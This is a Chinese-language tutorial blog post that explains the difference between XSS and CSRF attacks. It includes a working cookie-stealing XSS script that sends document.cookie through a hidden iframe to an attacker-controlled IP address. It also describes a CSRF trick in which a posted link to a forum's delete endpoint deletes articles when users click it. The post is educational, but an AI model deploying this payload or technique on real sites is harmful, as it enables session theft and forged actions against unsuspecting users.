XSS和CSRF攻擊

這兩個關鍵詞也是老生常談了,但是還總是容易讓人忘記與搞混~。
XSS與CSRF這兩個關鍵詞時常被拉出來一起比較(尤其是面試),我在這裏也在寫一篇掃盲文,也幫自己整理一下知識脈絡。

這篇文章會用盡量“人話”的語言解釋這二個關鍵詞,讓同學們對跨域,安全有更深一層次的瞭解。

國際慣例,先上一下維基百科:

XSS:跨站腳本(Cross-site scripting,通常簡稱爲XSS)是一種網站應用程序的安全漏洞攻擊,是代碼注入的一種。它允許惡意用戶將代碼注入到網頁上,其他用戶在觀看網頁時就會受到影響。這類攻擊通常包含了HTML以及用戶端腳本語言
I
CSRF:跨站請求僞造(英語:Cross-site request forgery),也被稱爲 one-click attack 或者 session riding,通常縮寫爲 CSRF 或者 XSRF, 是一種挾制用戶在當前已登錄的Web應用程序上執行非本意的操作的攻擊方法


維基的解釋依舊高深莫測啊,我用 “人話”給大家解釋一下吧。

XSS: 通過客戶端腳本語言(最常見如:JavaScript)
在一個論壇發帖中發佈一段惡意的JavaScript代碼就是腳本注入,如果這個代碼內容有請求外部服務器,那麼就叫做XSS!

CSRF:又稱XSRF,冒充用戶發起請求(在用戶不知情的情況下),完成一些違背用戶意願的請求(如惡意發帖,刪帖,改密碼,發郵件等)。

很多同學會搞不明白XSS與CSRF的區別,雖然這兩個關鍵詞時常抱團出現,但他們兩個是不同維度的東西(或者說他們的目的是不一樣的)。
XSS更偏向於方法論,CSRF更偏向於一種形式,只要是僞造用戶發起的請求,都可成爲CSRF攻擊。

通常來說CSRF是由XSS實現的,所以CSRF時常也被稱爲XSRF[用XSS的方式實現僞造請求](但實現的方式絕不止一種,還可以直接通過命令行模式(命令行敲命令來發起請求)直接僞造請求[只要通過合法驗證即可])。
XSS更偏向於代碼實現(即寫一段擁有跨站請求功能的JavaScript腳本注入到一條帖子裏,然後有用戶訪問了這個帖子,這就算是中了XSS攻擊了),CSRF更偏向於一個攻擊結果,只要發起了冒牌請求那麼就算是CSRF了。

簡單來說,條條大路(XSS路,命令行路)通羅馬(CSRF馬,XSRF馬)。

前面講了那麼多理論介紹,那麼我們來看一看實際代碼吧。

【 Talk is cheap,Show me the code 】

場景:我在一條帖子裏面寫下了如下代碼,發了出去,然後陸陸續續有很多可愛(wu / zhi) 的用戶訪問到這個帖子,然後用戶接下來的所有操作都由我這串代碼掌控了(各種姿勢混着玩~)

如下:

while(true){
    alert('你關不掉我');
}

這個就是最原始的腳本注入了。
用戶進來就麻煩了,一直彈窗一直彈窗。

那麼XSS(跨站腳本)就是照瓢畫葫了,用JavaScript寫一個請求跨站的腳本就是XSS了,如下:


// 用 <script type="text/javascript"></script> 包起來放在評論中
(function(window, document) {
    // 構造泄露信息用的 URL
    var cookies = document.cookie;
    var xssURIBase = "http://192.168.123.123/myxss/";
    var xssURI = xssURIBase + window.encodeURI(cookies);
    // 建立隱藏 iframe 用於通訊
    var hideFrame = document.createElement("iframe");
    hideFrame.height = 0;
    hideFrame.width = 0;
    hideFrame.style.display = "none";
    hideFrame.src = xssURI;
    // 開工
    document.body.appendChild(hideFrame);
})(window, document);

此段代碼攜帶着cookie信息傳輸給了 http://192.168.123.123/myxss/... 這段服務器,然後服務器的代碼就可以接收到了用戶的隱私消息,繼而繼續做其他的業務處理(myxss/index.php 中寫一些可怕的代碼,如把用戶信息存進自己的數據庫)。

有沒感覺到背後一寒

看到這裏感覺到危險了吧(想想初學程序時我們的站點完全沒有這個意識,活生生的是在裸奔),=
既然此段腳本注入能攜帶着用戶信息到收集服務器,那麼再研究研究,他自然能發郵件?發帖?一系列業務邏輯? ~~當然可以!。

這裏tips一下:上面的代碼僅僅是XSS,並沒有發生CSRF,因爲192.168.123.123/myxss/index.php 僅僅是把用戶信息存起來了而已,他並沒有“僞造”用戶發起一些請求,所以他只算是XSS攻擊而不算是CSRF攻擊,如果192.168.123.123/myxss/index.php 寫的代碼是 將當前用戶的暱稱改爲“我是大笨豬”,那麼就算是CSRF攻擊了,因爲這段代碼僞造用戶發出了請求(但是用戶卻不自知)。

那麼下面我介紹一下最最簡單的CSRF攻擊(沒有用到XSS的哦):
一個論壇,經過我的多次抓包分析(着重分析請求返回頭,請求返回體)瞭解到這個論壇的刪帖操作是觸發 csdnblog.com/bbs/delete_article.php?id=“X" 那麼,我只需要在論壇中發一帖,包含一鏈接:www.csdnblog.com/bbs/delete_article.php?id=“X" ,只要有用戶點擊了這個鏈接,那麼ID爲X的這一篇文章就被刪掉了,而且是用戶完全不知情的情況(敲黑板狀:此處我可沒有寫XSS腳本哦,我純粹是發一個url地址出來而已,既然刪除操作可以僞造,那麼只要我細細分析,其他操作(發帖,改名字,發私信,只要是這個論壇具有的功能)我都可以僞造咯!

發佈了230 篇原創文章 · 獲贊 45 · 訪問量 16萬+
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章